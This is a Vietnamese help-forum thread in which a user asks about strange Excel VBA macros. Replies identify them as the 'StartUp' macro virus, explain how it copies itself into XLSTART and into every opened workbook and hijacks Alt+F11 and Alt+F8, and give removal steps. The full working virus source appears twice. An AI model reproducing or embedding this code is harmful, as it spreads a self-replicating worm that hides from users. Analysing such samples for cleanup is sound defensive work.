Những Macro lạ, mong mọi người giúp xem nó có tác dụng gì?

phamvana · Đăng lúc 9/7/2014 17:33

Hãy đăng nhập để có nhiều chức năng hữu dụng hơn và xem ảnh rõ hơn!

Bạn phải đăng nhập để xem được nội dung, nếu bạn chưa có tài khoản? hãy Đăng ký mới

x

Trong thời gian một nhà thiết kế gởi file dự toán mình đã bị vấn đề như sau:
- Mở excel luôn mở thêm file startup.xls
- Xem code thì có thêm những macro lạ, vì mới làm quen với VBA nên chưa biết nó có tác dụng gì. Tìm kiếm trên mạng thì có khả năng nó là virus, anh em nào rành thì cho xin ý kiến nhé.

[Visual Basic] 纯文本查看 复制代码

Sub auto_open()
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

phamvana · Đăng lúc 9/7/2014 21:38

Cách giải quyết tạm thời của em là tìm đến file StartUp.xls và xóa nó. Kiểm tra lại không còn xuất hiện nữa.

tranhoe · Đăng lúc 10/7/2014 00:13

Chính xác là máy Bạn bị dính Virus StartUp rồi.
Đây là code trong Module Module StartUp của file StartUp.xls và file nhiễm Virus :

[Visual Basic] 纯文本查看 复制代码

Sub auto_open()
    On Error Resume Next
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
        Application.ScreenUpdating = False
        ThisWorkbook.Sheets("StartUp").Copy
        ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
        n$ = ActiveWorkbook.Name
        ActiveWindow.Visible = False
        Workbooks("StartUp.xls").Save
        Workbooks(n$).Close (False)
    End If
    Application.OnSheetActivate = "StartUp.xls!cop"
    Application.OnKey "%{F11}", "StartUp.xls!escape"
    Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
'====================================
Sub cop()
    On Error Resume Next
    If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
        Application.ScreenUpdating = False
        n$ = ActiveSheet.Name
        Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
        Sheets(n$).Select
    End If
End Sub
'====================================
Sub back()
    On Error Resume Next
    Application.OnKey "%{F8}", "StartUp.xls!escape"
    Application.OnKey "%{F11}", "StartUp.xls!escape"
    Application.OnSheetActivate = "StartUp.xls!cop"
    Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
    Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Cơ chế lây lan của nó: Khi mở file *.xls nó sẽ chép Module Startup này vào và lưu lại. Khi mở lần sau ở máy khác không có file StartUp.xls thì nó lại tạo ra. Vậy là lại dính sang 1 máy mới. Ngoài ra nó còn "cấm" cả tổ hợp phím Alt + F11 (mở cửa sổ VBA), Alt + F8 (chạy macro) bằng cách thực thi macro của chính con Virus này.

Thao tác Xóa chúng gồm 2 công đoạn:
- Xóa file StartUp.xls trong thư mục XLSTART
- Xóa module StartUp trong file đang mở

Cách khác nhanh hơn:
Chép file StartUp.xls (đính kèm ở dưới) vào thư mục XLSTART của EXCEL (thường nằm ở "% AppData% \ Microsoft \ Excel \ XLSTART") - cho phép chép đè.
Khi mở File nếu file đó dính virus StartUp thì sẽ bị xóa ngay

Link:

StartUp.xls (14 KB, Lượt tải về: 66)

phamvana · Đăng lúc 4/8/2014 14:32

Mấy hôm nay mở VBA thấy có 2 filw lạ lạ, không biết nó là cái gì, mong mọi người giúp. Một em thì xem được, một em thì không thể xem code.

Đăng nhập/Đăng ký mở rộng

Tài khoản		Ghi nhớ?	Quên mật khẩu
Mật khẩu			Đăng ký mới

Những Macro lạ, mong mọi người giúp xem nó có tác dụng gì?

Hãy đăng nhập để có nhiều chức năng hữu dụng hơn và xem ảnh rõ hơn!

Đánh giá

Đánh giá

Những Macro lạ, mong mọi người giúp xem nó có tác dụng gì?

Hãy đăng nhập để có nhiều chức năng hữu dụng hơn và xem ảnh rõ hơn!

Đánh giá

Đánh giá

Cảm ơn!